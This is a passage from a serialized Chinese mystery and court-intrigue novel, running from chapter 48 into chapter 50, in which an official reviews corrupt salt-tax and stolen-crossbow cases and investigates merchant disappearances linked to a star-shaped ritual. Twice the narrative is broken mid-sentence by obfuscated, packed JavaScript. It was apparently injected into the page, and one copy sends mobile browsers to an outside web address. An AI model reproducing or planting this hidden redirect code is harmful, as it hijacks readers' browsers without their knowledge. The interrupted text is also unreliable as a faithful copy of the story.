穿过回廊时,他敏锐地察觉到周围的目光。昨日游街遇刺的事已经传开,今日刑部上下看他的眼神,除了好奇和审视,又多了一层说不清道不明的敬畏——敢在御街行刺状元的刺客,背后势力绝不简单,而这位状元郎不仅毫发无损,还当场擒凶,这份胆识和身手,让人不敢小觑。 推开值房的门,书案上已经堆了几摞卷宗。王书吏正站在案边整理,见他进来,躬身行礼:“江郎中,这些都是需要复核的案子。周尚书吩咐了,让您先从简单的看起。” 江清砚走到书案后坐下,目光扫过那些卷宗。最上面的一本是“京城东市盗窃案”,确实简单;但往下一翻,第二本就是“江南盐税亏空案”,涉及数额巨大,牵扯官员众多,绝不是简单的案子。 “王书吏,”江清砚抬眸,“这些卷宗,是谁送来的?” 王书吏神色如常:“是案牍库按章程送来的。刑部复核案子,向来是随机抽取,不分难易。” 这话说得滴水不漏,但江清砚不信。他才刚来第二天,就送上这么复杂的盐税案,明显是有人想试探他的能力,或者……想看他出丑。 “我知道了,”江清砚神色平静,“你先下去吧。” “是。”王书吏退了出去,轻轻带上门。 房间里安静下来,只有窗外淅淅沥沥的雨声。江清砚没有立刻翻看卷宗,而是闭目凝神,感受了一下心脉处的青木生机——比昨日又恢复了一分,虽离全盛时还远,但处理日常事务已无大碍。 他睁开眼,先拿起那本盗窃案。案情很简单:东市绸缎庄丢失了三匹蜀锦,价值三百两,现场无破坏痕迹,怀疑是内贼。县衙抓了三个伙计,严刑拷打后,其中一个认罪,案子就结了。 但江清砚看得仔细。卷宗里附了三个伙计的供词、绸缎庄的账目、还有失窃蜀锦的样品记录。他注意到一个细节:认罪的那个伙计供称,他将蜀锦藏在自家床底下,但衙役去搜时,只找到两匹,第三匹不翼而飞。 而另外两个伙计的供词里,都提到失窃那晚,绸缎庄隔壁的胭脂铺进了新货,搬运货物到很晚,动静很大。 江清砚沉吟片刻,提笔在复核意见栏写下:“疑点有三:其一,失窃现场无破坏,熟人作案无疑,但认罪伙计未供出销赃渠道,不合常理;其二,搜出赃物数量不符,或有人栽赃;其三,隔壁店铺当晚有异常动静,或有目击者。建议:重审三个伙计,彻查胭脂铺当晚进出人员。” 写完,他盖上自己的印章,将卷宗放到一边。 接着,他翻开了盐税案。 这一看,就是一个时辰。 盐税案确实复杂。江南三州十二县,去年盐税亏空高达五十万两。朝廷派了钦差去查,查了三个月,抓了十几个盐官,追回了二十万两,剩下的三十万两不知所踪。钦差回京复命,说“余款追缴困难,建议结案”。 但江清砚从卷宗里看出问题了。 首先是账目。盐税征收和支出的记录混乱不堪,很多地方对不上。比如扬州府报称“河道疏浚支银五万两”,但附上的工程记录只有三页纸,连基本的工程量、人工、材料清单都没有。 其次是涉案人员。被抓的盐官,官职最高的只是个六品知事,真正的掌权者——盐运使、知府、甚至布政使,一个都没动。 最后是追回的款项。二十万两银子,是从那些被抓盐官家里抄出来的。但江清砚算了一下,那些人的俸禄加上可能的灰色收入,十年也攒不下二十万两。这钱哪来的?是有人让他们顶罪,用钱买他们的命? 他正沉思间,门外传来脚步声,接着是敲门声。 “进。” 推门进来的是个二十出头的年轻人,穿着八品主事的青色官服,面容清秀,眼神灵动。他手中拿着一本卷宗,恭敬地行礼:“下官刑部主事林远,见过江郎中。” “林主事有事?”江清砚问。 “周尚书让下官送这个过来,”林远将卷宗放在书案上,“是去年的一桩旧案,尚书说让您也看看。” 江清砚看了一眼卷宗封面——“北境军械失窃案”。 他的心跳漏了一拍,面上却不动声色:“知道了。替我谢谢尚书大人。” “是,”林远却没有立刻离开,而是犹豫了一下,压低声音道,“江郎中,盐税案的卷宗……您看得还顺利吗?” 江清砚抬眸看他,眼神平静:“林主事有话直说。” 林远左右看看,声音更低了:“那案子……水很深。之前的几位郎中,有想深究的,不是调离就是……告病还乡了。您初来乍到,还是……” “还是明哲保身为好?”江清砚接话。 林远脸色微变,连忙道:“下官不敢。只是……提个醒。” 江清砚看了他片刻,忽然问:“林主事来刑部几年了?” “两年。” “两年就能在周尚书身边办事,看来很得器重。” “尚书大人抬爱。”林远垂眸。 江清砚点点头,没再追问:“我知道了。谢谢你的提醒。” 林远松了口气,行礼退下。 门关上后,江清砚盯着那本“北境军械失窃案”的卷宗,许久没有动作。周尚书特意送这个来,是什么意思?试探?提醒?还是…… 他翻开卷宗。 案子发生在五年前,北境驻军的一批新式弩箭在运送途中失窃,共计三千支。这批弩箭是军械司特制,射程和威力都远超普通弓弩。失窃后,朝廷震怒,派人严查,但查了半年,只抓到几个替罪羊,真正的幕后黑手始终没找到。 卷宗里附了现场勘查记录、押运士兵的证词、还有弩箭的图纸。江清砚仔细看着图纸,忽然瞳孔一缩—— 图纸角落,有一个极小的标记,是一把剑和一面盾交叉的图案。那是谢家军的军徽! 这批弩箭,是特供给谢家军的! 他继续往下翻,看到涉案人员的名单。负责押运的校尉叫王猛,谢家军旧部,案发后失踪。而接替谢家军镇守北境的新任统帅,叫李继先——当朝太后的侄子,三皇子的表舅。 江清砚的手指微微收紧。 太巧了。谢家军刚遭伏击全军覆没,特供给他们的弩箭就失窃了。而接替谢家的人,是太后的亲戚。 这背后,难道有宫廷的影子? 他想起谢云辞说过,谢家血案的所有线索都指向朝中某位权贵,但每次快查到时就会断线。如果那位权贵是太后,或者三皇子,那一切就说得通了——他们有足够的权势抹去痕迹,也有足够的动机除掉功高震主的谢家。 但“烛龙之眼”又在这其中扮演什么角色?那个眼睛图腾,和太后、三皇子有关吗? 江清砚感到一阵寒意。如果“烛龙之眼”的渗透已经到了宫廷深处,那他们的敌人,可能比想象的更可怕。 他定了定神,提笔在盐税案的复核意见栏写下:“疑点众多,账目不清,涉案人员不全,追缴款项存疑。建议:重派钦差,彻查江南盐政,重点审查扬州、苏州、杭州三府主官。” 写完,他犹豫了一下,又加上一句:“另,建议密查盐款流向,或有军需关联。” 这是大胆的推测。盐税亏空,钱去哪了?如果“烛龙之眼”在暗中策划什么大事,必然需要巨额资金。而军械失窃案和盐税案如果有关联,那这批钱可能被用来购买或制造武器。 他将两份卷宗都盖上印章,唤来王书吏:“送去给周尚书。” 王书吏接过卷宗,看了一眼上面的批注,眼中闪过一丝异色,但很快恢复平静:“是。” 午时,雨停了。江清砚没有去饭堂,而是让王书吏将午膳送到值房。他一边吃饭,一边继续看卷宗。 下午未时,周尚书亲自来了。 “江郎中,”周文渊的神色看不出喜怒,“你批的复核意见,我都看了。” 江清砚起身行礼:“下官愚见,若有不当之处,还请尚书指正。” “坐,”周文渊在他对面坐下,拿起那本盐税案卷宗,“你建议重派钦差,彻查江南盐政。可知道这意味着什么?” “意味着会触动很多人的利益。”江清砚直言不讳。 “不止,”周文渊摇头,“江南盐政,盘根错节,牵扯到的不仅是地方官,还有朝中的某些……大人物。前任钦差为什么只查了一半就结案?不是他不想查,是查不下去了。” 他看着江清砚:“你初来乍到,就敢提出这样的建议,是胆识过人,还是……不知深浅?” 江清砚平静地对上他的目光:“下官只知道,五十万两盐税,是百姓的血汗。三十万两不知所踪,必须有个交代。至于得罪什么人……下官既然穿了这身官服,就该对得起朝廷,对得起百姓。” 周文渊盯着他看了很久,忽然笑了:“好,好一个对得起朝廷,对得起百姓。”他站起身,“你的建议,我会考虑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江清砚心中一动。周尚书这是在暗示,刑部的卷宗里,可能藏着谢家血案的线索。 “下官会留意的。” 周文渊点点头,起身准备离开,走到门口时,忽然回头:“对了,陈侍郎今天告病了,说是感染风寒。这几天刑部的事,我会直接交代给你。好好干,别让我失望。” “是。” 周文渊离开后,江清砚坐在椅子上,久久没有动。 陈文远告病?是巧合,还是因为昨天游街遇刺的事?或者……是因为他今天复核盐税案的表现? 这个刑部,果然不简单。 窗外的天色渐渐暗下来。江清砚将密函收好,起身收拾东西。今日在刑部的第一天,虽然平静,却暗藏波涛。 走出衙门时,那辆青布马车已经在等了。车夫还是那个沉默的中年人,见他出来,恭敬地掀开车帘。 回到谢府,谢云辞还没回来。江清砚先回房换了常服,然后去书房,将今日在刑部的事详细记录下来,特别是盐税案和军械失窃案的细节。 写完,他坐在书案前,看着窗外的暮色,心中思绪万千。 刑部这条路,比他想象的更复杂,也更危险。但他没有退路。 为了父母,为了谢云辞,也为了那些被掩盖的真相,他必须走下去。 夜幕降临,书房里点起了灯。 不知过了多久,门外传来脚步声,接着是谢云辞的声音:“清砚,在吗?” “在。” 谢云辞推门进来,身上还带着夜风的凉意。他走到书案边,看了一眼江清砚写的东西,眉头微蹙:“刑部第一天,就遇到这么多事?” “还好,”江清砚将今日的事简单说了一遍,包括那封密函。 谢云辞听完,神色凝重起来:“周尚书说得对,有人在暗中关注你。但不知是敌是友。” “三日后土地庙之约,或许能看出端倪。”江清砚道。 谢云辞点头,从怀中取出一份地图:“我今日调阅了城西土地庙附近的卷宗。那个地方很偏僻,平时很少有人去。但三年前,那里发生过一起命案——一个更夫死在那里,死状诡异,七窍流血,像是中毒。案子至今未破。” 又是未破的悬案。 江清砚看着地图上标记的位置,忽然道:“我想提前去看看。” “太危险了。” “正因为危险,才要提前侦查,”江清砚看着他,“我们可以扮作香客,白天去,不会引人怀疑。” 谢云辞想了想,最终妥协:“好,明天去。但你必须跟紧我,不能擅自行动。” “成交。” 两人相视一笑,之前的凝重气氛缓和了不少。 夜渐深,烛火摇曳。 前路虽险,但并肩同行,便无所畏惧。 49. 第 49 章 第四十九章新案:富商连环失踪 九月十七,晴。 城西土地庙坐落在京郊一片荒废的村落边缘,庙墙斑驳,瓦片残缺,门前的石阶长满了青苔。这里早已断了香火,连乞丐都不愿在此栖身。 江清砚和谢云辞扮作路过的香客,穿着一身普通的棉布衣裳,戴着斗笠,看上去像是进城卖货的乡民。两人在庙前停下,谢云辞警惕地环顾四周,确认没有埋伏,才示意江清砚跟上。 推开吱呀作响的庙门,一股霉味扑面而来。庙内光线昏暗,只有几缕阳光从屋顶的破洞漏下,照在布满灰尘的供桌上。土地公的神像已经残破不堪,半边脸都塌了,露出里面的泥胎。 “就是这里了。”谢云辞压低声音,手指在供桌边缘摸索。 江清砚则仔细观察着庙内的每一个角落。地面铺着青砖,砖缝里长着杂草,看不出什么异常。但当他走到神像后面时,注意到墙壁上有一处颜色略深——像是经常被触摸留下的痕迹。 他伸手按了按,那块墙砖竟然微微松动。 “云辞,这里。” 谢云辞走过来,两人合力将墙砖取下,后面露出一个小小的暗格。暗格里放着一个油纸包,包得严严实实。 江清砚取出油纸包,小心打开。里面是一本薄薄的册子,纸张已经泛黄,上面密密麻麻写满了字。 不是约他们来的人,而是一份……名单。 名单上列着七个名字,每个名字后面都标注着身份、住址、以及一个日期。江清砚一眼就认出了其中几个——都是京城里有名的富商,而且…… “这些人,”他抬头看向谢云辞,“全都失踪了。” 谢云辞接过册子细看,脸色骤变。名单上的七个人,在过去三年里陆续失踪,生不见人死不见尸。六扇门接手过其中三起案子,但都查无头绪,最后只能以“疑似遭遇山匪”或“可能携款潜逃”结案。 “李万财,绸缎商,两年前失踪;赵德海,盐商,一年半前失踪;孙富贵,珠宝商,一年前失踪……”谢云辞一个个念下去,声音越来越冷,“这不是巧合。” 江清砚翻到册子最后一页,那里用红笔写了一行小字:“欲知真相,三日后子时,此地相见。勿带他人。” 和之前纸条上的字迹一模一样。 “对方在试探我们,”谢云辞将册子收好,“给了我们这份名单,是想看我们有没有能力查下去,也看我们敢不敢查。” “那就查,”江清砚眼神坚定,“从这份名单开始。” 两人将暗格恢复原状,又在庙内仔细搜查了一遍,没再发现其他线索,便迅速离开了。 回到谢府,谢云辞立刻调来了那七起失踪案的卷宗。六扇门记录了三起,另外四起是顺天府受理的,记录得更简略。 江清砚将七份卷宗摊在书案上,逐一比对。 “失踪时间间隔不固定,最短三个月,最长半年,”他一边看一边分析,“失踪地点都在京城或近郊,没有出远门的迹象。家人报官时都说,失踪前毫无征兆,头天还好好的,第二天人就不见了。” “财产呢?”谢云辞问。 “奇怪就在这里,”江清砚翻看着账目记录,“这些人家中都未丢失大量财物,有的甚至连随身带的银票都没动。如果是绑架勒索,绑匪为什么不索要赎金?如果是谋财害命,为什么不拿走财物?” 谢云辞沉思片刻:“除非……他们本身不是目标,而是‘东西’被拿走了。” “东西?”江清砚抬眼。 “我处理过类似的案子,”谢云辞的声音低沉,“有些邪教或秘密组织,会绑架特定的人,不是为了钱,而是为了人本身——可能是他们的身份,可能是他们的血脉,也可能是他们知道的某个秘密。” 江清砚心中一凛。他想起了“烛龙之眼”对他们血脉的觊觎。 “名单上这些人,有什么共同点?”他问。 两人将七个人的背景资料一一列出:都是富商,但经营的行业不同——绸缎、盐、珠宝、茶叶、药材、当铺、钱庄。年龄从四十到六十不等,有本地人也有外地迁来的,社会关系也各不相同。 表面看,毫无关联。 “等等,”江清砚忽然注意到一个细节,“这些人的原籍……你看。” 谢云辞凑过来看。李万财原籍江南苏州,赵德海原籍山东济南,孙富贵原籍山西太原……看似分散,但江清砚拿来大周地图,将他们的原籍一一标出,然后连线—— “这是一个七芒星的形状!”谢云辞瞳孔一缩。 七个地点,正好构成一个规则的七芒星图案,而图案的中心点,赫然是京城! “这不是巧合,”江清砚的声音有些发颤,“有人在按照特定的方位挑选目标。” 谢云辞盯着地图,脑中飞快运转:“七芒星……在玄学中,七芒星是召唤或封印的阵法。如果这是某种仪式,那这些富商就是祭品,或者……媒介。” 两人对视一眼,都感到一股寒意从脊背升起。 如果真是这样,那这起连环失踪案,就不是普通的刑事案件,而是一场精心策划的、涉及玄学秘术的阴谋。 “需要更多信息,”江清砚强迫自己冷静下来,“名单上只有名字和失踪日期,没有其他线索。我们需要知道这些人失踪前的具体行踪、见过什么人、说过什么话。” “我去查,”谢云辞起身,“六扇门还有些旧档案,或许能找到些线索。另外,我会派人去这七家暗访,看能不能问出什么。” “小心,”江清砚叮嘱,“如果这真和‘烛龙之眼’有关,他们一定在暗中监视。” “我知道。” 谢云辞匆匆离开,江清砚则留在书房,继续研究那份名单和地图。他将七芒星的图案画在纸上,又根据每个地点的方位,计算着可能的阵法效果。 按照玄学典籍记载,七芒星阵法有多种用途:召唤、封印、献祭、转生……每一种都需要特定的条件和媒介。而这些富商,作为“媒介”,需要满足什么条件呢? 他忽然想起什么,起身去书架前翻找。谢云辞的书房藏书极丰,除了兵法典籍,还有大量杂书,其中就有几本关于玄学和奇门遁甲的。 找到一本《星相阵法考》,江清砚快速翻阅,在“七芒星阵”一章节停下。书中记载:“七芒星者,北斗之形也。布此阵需七处灵脉节点,各置一‘引’,七引齐聚,可开天门,或镇幽冥。” 引? 江清砚脑中灵光一闪。他重新看那七个富商的原籍,忽然明白了——那不是他们现在住的地方,而是他们家族的发源地,也就是所谓的“祖籍”。在玄学中,祖籍所在地往往与家族气运相连,是血脉的“根”。 所以这些人被选为“引”,不是因为他们本人,而是因为他们的血脉和祖籍! 那要打开或封印的,是什么? 江清砚继续往下看,书中还记载了一个案例:前朝末年,曾有邪教试图用七芒星阵打开“幽冥之门”,召唤亡魂作乱,但被正道人士阻止。那场事件中,作为“引”的七个人,全部惨死,死状诡异,七窍流血。 这和土地庙更夫的死状……太像了。 他合上书,心中已经有了大致的推测。但这需要证实。 傍晚时分,谢云辞回来了,带回了一叠资料。 “有发现,”他将资料摊开,“我查了这七家近年来的账目和往来记录。发现一个共同点——他们在失踪前半年,都曾向‘慈恩寺’捐过一大笔香火钱,数额惊人,每家至少五千两。” 慈恩寺! 江清砚的心脏狂跳:“又是慈恩寺……” “不止,”谢云辞继续道,“我还查了他们的行踪。失踪前三天,他们都去过同一个地方——城北的‘清风观’。那是个小道观,平时香火不旺,但他们去的那天,道观刚好在办法事。” “什么法事?” “说是为一位过世的老道长做‘七七法事’,超度亡魂,”谢云辞眼中寒光闪烁,“但奇怪的是,那位老道长的名号,在道观记载中根本查不到。我派人去问,道观的人支支吾吾,说不清楚。” 清风观、慈恩寺……都和“烛龙之眼”有关? “还有更奇怪的,”谢云辞压低声音,“我派人暗访了这七家的家人。其中三家的人说,失踪者在前几天曾提到‘要做一件大事’,‘完成后就能光宗耀祖’。但他们不知道是什么事。” 光宗耀祖…… 江清砚想起七芒星阵与祖籍血脉的关系,忽然明白了:“他们可能被骗了。有人告诉他们,参加某个仪式可以振兴家族,但实际上是拿他们当祭品。” 谢云辞脸色铁青:“如果真是这样,那幕后之人不仅残忍,还极其狡猾——利用人对家族的执念,诱使他们自愿赴死。” 书房里陷入沉默,只有烛火噼啪作响。 许久,江清砚开口:“三日后土地庙之约,我们必须去。对方既然给了我们这份名单,要么是想借我们的手破坏这个仪式,要么……是想把我们引入局中。” “我倾向于后者,”谢云辞神色凝重,“‘烛龙之眼’的目标是我们。用这个案子引我们上钩,符合他们的作风。” “那就将计就计,”江清砚眼中闪过一丝锐利,“他们想引我们入局,我们就进去看看,这到底是个什么局。” “太危险了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863525|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我们还有别的选择吗?”江清砚反问,“如果‘烛龙之眼’真的在用七芒星阵做什么,一旦成功,后果不堪设想。我们必须阻止他们。” 谢云辞看着他坚定的眼神,知道劝不住。他长叹一口气:“好。但我们必须做好万全准备。我会调集最可靠的人手,在土地庙周围布防。另外……” 他从怀中取出一枚玉佩,递给江清砚:“这是我母亲留下的护身符,开过光的。你戴上。” 玉佩温润,雕刻着莲花图案,在烛光下泛着淡淡的光晕。江清砚没有推辞,接过戴在颈上:“谢谢。” “还有,”谢云辞又从书案抽屉里取出一把匕首,匕首很精致,鞘上镶着宝石,“这把匕首淬过剧毒,见血封喉。你藏在袖中,以防万一。” 江清砚接过匕首,入手冰凉沉重。他知道,谢云辞这是做了最坏的打算。 “你也是,”他看向谢云辞,“不要总是护在我前面。我们是一起的。” 谢云辞笑了,笑容里带着几分无奈和宠溺:“知道了,江大夫。” 气氛稍微缓和了些。两人又商量了一些细节,直到夜深。 就在准备就寝时,王书吏突然来了——他是翻墙进来的,一身夜行衣,脸上蒙着黑布,只露出一双眼睛。 “江郎中,谢大人,”他压低声音,神色慌张,“出事了。” “怎么了?”谢云辞立刻按住刀柄。 “陈侍郎……死了。” 江清砚和谢云辞同时一震。 “怎么回事?”谢云辞追问。 “今天傍晚,陈侍郎的家人来报,说他一天没回家。我去他值房查看,发现他倒在书案上,已经没了呼吸,”王书吏的声音发颤,“死状……和名单上那些人一样,七窍流血。” 七窍流血! 江清砚的心沉到谷底。陈文远昨天还好好的,今天就死了,而且死状和土地庙更夫、可能也和那些富商一样。这绝不是巧合。 “现场有什么?”谢云辞冷静地问。 “桌上有一封信,是写给江郎中的,”王书吏从怀中取出一封信,“我没敢动,原样封着。” 江清砚接过信,拆开。信很短,只有两行字: “名单有八人,第七已死,第八待选。欲知第八是谁,速查盐税案。” 落款是一个眼睛的图案。 “第八人……”谢云辞盯着那个图案,“陈文远是第七个?那第八个是谁?” 江清砚的脑中飞快运转。名单上七个人,都是富商。陈文远是朝廷命官,为什么会成为第八个?除非……他不是因为身份,而是因为别的什么。 “盐税案,”他喃喃道,“陈文远是刑部侍郎,经手过盐税案。他可能知道些什么,所以被灭口了。” “那第八个待选的人……”谢云辞脸色一变,“难道是……” 两人对视,同时说出一个名字: “周尚书。” 如果这个仪式需要八个“引”,而陈文远是第七个,那第八个很可能就是他的上司,同样经手盐税案的刑部尚书——周文渊。 “必须立刻通知周尚书!”江清砚起身。 “我去,”谢云辞按住他,“你留在府里,这里安全。王书吏,你跟我一起,去周府。” “是。” 两人匆匆离去,江清砚留在书房,却坐立不安。他重新摊开地图,看着那个七芒星图案,忽然想到:七芒星阵只需要七个点,为什么需要第八个人? 除非……这不是七芒星,而是八芒星? 他快速翻阅《星相阵法考》,找到了八芒星的记载:“八芒星者,八卦之形也。此阵凶险,需八人献祭,可开阴阳之门,逆转生死。” 逆转生死! 江清砚的手开始颤抖。如果“烛龙之眼”真的在布八芒星阵,那他们的目的……可能是复活某个人,或者召唤某个存在。 而需要八个特定血脉的人献祭…… 他忽然想起了“钥匙”之说。江家的青木玉佩,谢家的玄铁兵符,是打开“烛龙眠息之地”的钥匙。那如果那个地方需要献祭才能打开呢? 不,不对。父亲留下的绢帛上说“宁毁钥,勿开门”,说明开门需要钥匙,但没说需要献祭。 除非……开门之后,还需要献祭,才能得到里面的东西? 江清砚感到头痛欲裂。线索太多,却理不出头绪。他强迫自己冷静,将所有的信息写在纸上,试图找出关联。 就在这时,窗外传来一声轻响。 江清砚立刻吹灭蜡烛,握紧了袖中的匕首。黑暗中,他听到极轻微的脚步声,正在靠近书房。 有人来了。 50. 第 50 章 第五十章铜钱密码 黑暗笼罩着书房,只有窗外微弱的月光勾勒出家具模糊的轮廓。 江清砚屏住呼吸,将身体隐藏在书架后的阴影里。袖中的匕首已经滑入掌心,淬过毒的刃口在月色下泛着幽蓝的光。他凝神细听,那脚步声极轻,却稳而有序,显然是个高手。 一步,两步……声音在书房门口停下了。 接着是极细微的金属摩擦声——是在开锁?不对,门没有锁。江清砚忽然想到,对方可能是用细铁丝或薄刃在试探门缝。 果然,门被缓缓推开一条缝。一个黑影侧身闪入,动作迅捷无声。那人身材不高,穿着夜行衣,脸上蒙着黑布,只露出一双眼睛,在黑暗中警惕地扫视着房间。 江清砚的心跳如擂鼓,但他强迫自己冷静。对方的目的是什么?刺杀?搜查?还是…… 黑衣人没有立刻动作,而是站在原地,似乎在适应黑暗。片刻后,他走到书案前,开始翻找上面的纸张。 是在找那份名单?还是盐税案的卷宗? 江清砚没有动。他想看看对方到底要找什么。 黑衣人翻得很仔细,但动作很快,显然对搜查很有经验。他翻完书案,又转向书架。就在他伸手要去拿那本《星相阵法考》时,江清砚出手了。 他没有直接攻击,而是将书架上的一只瓷瓶轻轻推倒—— “哐当!” 瓷器碎裂的声音在寂静中格外刺耳。黑衣人猛地回头,同时身形暴退,手中已多了一把短刀。 江清砚从阴影中走出,匕首横在胸前:“阁下夜闯私宅,不知有何贵干?” 黑衣人的眼睛眯了起来,没有说话,只是握紧了刀。两人在黑暗中对峙,空气仿佛凝固了。 忽然,黑衣人动了。他身形如鬼魅般前扑,短刀直刺江清砚咽喉。江清砚侧身闪避,同时匕首划向对方手腕。黑衣人回刀格挡,两刃相交,发出刺耳的金属摩擦声。 交手不过三招,江清砚就感到了压力。对方的身手远在他之上,若非青木生机强化了他的感知和反应,恐怕第一招就躲不过。 但他不能退。这里是谢府,是他的地方,他必须弄清楚对方的来意。 又过了几招,江清砚渐渐不支。黑衣人显然也看出了他的弱点,攻势越发凌厉。就在短刀即将刺中江清砚肩膀的瞬间—— “住手!” 一声厉喝从门口传来。谢云辞手持绣春刀,如一道黑色闪电般冲入,刀光直取黑衣人后背。 黑衣人不得不回身格挡,与谢云辞战在一起。两人的身手旗鼓相当,刀光在黑暗中闪烁,快得几乎看不清。江清砚退到一旁,紧紧盯着战局。 谢云辞的刀法大开大合,刚猛凌厉;黑衣人的刀法则诡异刁钻,专攻要害。两人交手三十余招,竟不分胜负。 忽然,黑衣人虚晃一招,纵身后跃,退到了窗边。他看了江清砚一眼,那眼神中似乎有某种复杂的情绪,然后翻身跃出窗外,消失在夜色中。 谢云辞想要追,被江清砚拦住:“别追,小心调虎离山。” “你没事吧?”谢云辞连忙检查江清砚,确认他没有受伤,才松了口气,“周尚书那边没事,我已经安排了人手保护。回来就听到动静……” “我没事,”江清砚摇头,走到书案前,“他在找东西。” 两人点亮蜡烛,重新检查书房。书案上的东西被翻乱了,但似乎没少什么。直到江清砚检查书架时,发现那本《星相阵法考》被抽出了一半。 “他在找这本书?”谢云辞蹙眉。 “或者……是书里的东西。”江清砚将书完全抽出,翻开。书页间,夹着一张纸——是他之前画的那个七芒星图案。 纸还在。 但江清砚注意到,图案旁边他做的笔记,被人用指甲轻轻划了一道痕。很轻,不仔细看根本发现不了。 “他在确认我们知道多少。”江清砚沉声道。 谢云辞的脸色很难看:“这府里该加强守卫了。明天我就调一批亲卫过来。” “等等,”江清砚忽然想到什么,“王书吏呢?他不是跟你一起去的吗?” “我让他先回家了,”谢云辞道,“周尚书那边有六扇门的人,用不上他。” 江清砚沉默片刻:“你不觉得……太巧了吗?王书吏刚来报信,刺客就来了。” 谢云辞眼神一凛:“你怀疑王书吏?” “说不准,”江清砚摇头,“但陈文远的死,他是第一个发现的;今晚的刺客,又在他离开后出现。这两件事,都和他有关联。” “我明天就去查他。”谢云辞冷声道。 “不,”江清砚却反对,“如果王书吏真有问题,打草惊蛇反而不好。我们可以……将计就计。” “怎么说?” 江清砚在书案前坐下,重新铺开纸笔:“黑衣人看到我们在查七芒星阵,看到我们知道了陈文远的死,也看到了那份名单。那么,如果我们是‘烛龙之眼’,接下来会怎么做?” 谢云辞想了想:“要么加快进度,提前仪式;要么……除掉知情人,也就是我们。” “但他们不会轻易动我们,因为我们是‘钥匙’,”江清砚分析,“所以最可能的,是加快仪式进度,赶在我们查明真相之前完成。” 他提笔,在纸上写下一个日期:“三天后,土地庙之约。那可能就是仪式的关键节点。” “那我们……” “我们得提前行动,”江清砚眼中闪过决断,“明天,我去刑部,以陈文远死因为由,调阅所有与他相关的卷宗,特别是盐税案。你在外面,继续查那些富商失踪的细节,尤其是他们失踪前去过的‘清风观’。” “太危险了,”谢云辞皱眉,“如果你猜得对,刑部里可能还有‘烛龙之眼’的人。” “所以我才要去,”江清砚看着他,“我在明,你在暗。如果真有人对我下手,你在外面,反而能看得更清楚。” 谢云辞明白他的意思。江清砚这是在以身作饵,引出暗处的敌人。 “我不同意,”他斩钉截铁,“太冒险了。你才刚恢复……” “没有时间了,”江清砚打断他,“如果八芒星阵真的存在,如果第八个人真的是周尚书,那留给我们的时间不多了。陈文远已经死了,下一个可能就是周尚书,甚至……” 他没有说完,但谢云辞懂。 甚至可能是他们自己。 两人沉默地对视着,烛火在中间跳动,将他们的影子投在墙上,交织在一起。 许久,谢云辞终于妥协:“好。但你必须答应我,一旦发现不对,立刻撤出刑部。我会派人暗中保护你。” “成交。” 这一夜,两人几乎没睡。江清砚将《星相阵法考》中关于八芒星的部分又仔细研究了一遍,谢云辞则调来了陈文远案的初步验尸报告。 报告上写:陈文远死于一种罕见的神经毒素,中毒后三刻钟内发作,七窍流血而亡。毒素来源不明,现场未发现下毒痕迹。 “是内鬼,”谢云辞肯定地说,“能在刑部侍郎的值房下毒而不留痕迹,一定是内部的人。” 江清砚点头,想起今天在刑部,陈文远“告病”的事。如果那时他已经中毒了呢? “明天去刑部,我会重点查陈文远昨天见过什么人,吃过什么东西。”他说。 寅时三刻,天还未亮,两人就各自准备。江清砚换上官服,谢云辞则换上了一身不起眼的灰色布衣,易容成一个普通商贩的模样。 “我送你到刑部门口,”谢云辞说,“然后会在街对面的茶摊守着。” “好。” 晨雾弥漫,街上的行人还不多。马车在刑部门口停下时,江清砚忽然想起什么,从袖中取出一枚铜钱,递给谢云辞:“这个你拿着。” 谢云辞接过,正是之前从刺客住处找到的那枚,边缘刻着眼睛图腾的铜钱。 “这是……” “如果我遇到危险,出不来,你就带着这枚铜钱,去城东的‘聚宝当铺’,找掌柜的,”江清砚的声音很低,“那是我父亲生前安排的后手。掌柜的姓金,见到这枚铜钱,会帮你。” 谢云辞紧紧握住铜钱,感觉那冰冷的金属几乎要嵌进掌心:“你不会有事。我保证。” 江清砚笑了,笑容清浅却坚定:“我相信你。” 他转身下轿,走向刑部衙门。晨光中,那身青色官服的身影挺拔如竹,一步一步,沉稳而坚定。 谢云辞目送他进去,直到大门关上,才转身走向街对面的茶摊。他找了个角落的位置坐下,要了一壶茶,眼睛却始终没有离开刑部的大门。 刑部里,江清砚径直走向案牍库。守库的老吏认识他,见他这么早来,有些惊讶:“江郎中,您这是……” “调陈侍郎案的卷宗,”江清砚出示了自己的令牌,“还有,他昨天经手过的所有案卷,我都要看。” “这……”老吏犹豫,“陈侍郎的案子,周尚书吩咐了,要等他亲自处理……” “周尚书那里我会去说,”江清砚神色平静,“现在,我需要这些卷宗。人命关天,耽搁不起。” 老吏看着他清澈而坚定的眼神,最终妥协:“您稍等,我这就去找。” 片刻后,几大摞卷宗被搬到了旁边的阅卷室。江清砚关上门,开始翻阅。 最上面的是陈文远案的现场记录和验尸报告,和他昨晚看到的差不多。下面是陈文远昨天处理的公务——大多是些日常的批文,没什么特别的。 但翻到第三摞时,江清砚的手顿住了。 这是一份关于“江南盐税案证人保护记录”的卷宗,记录着朝廷派去保护关键证人的安排。而最后一页,有一个用红笔做的标记,旁边是陈文远的签名和日期——就是昨天。 标记的位置,是一个证人的名字:赵四,原扬州盐运司书吏。 这个证人,昨天应该被转移到安全地点。但卷宗里没有转移后的记录。 江清砚的心跳加速。他继续翻找,又找到一份“证人名单及安置地点”的密档。上面列着十七个证人的名字和安置地点,其中十六个都有详细的记录,唯独赵四那一栏是空的。 空栏旁边,有一个小小的符号——一枚铜钱的简笔画。 铜钱! 江清砚立刻想到自己给谢云辞的那枚。难道这枚铜钱不仅是信物,还是某种……密码? 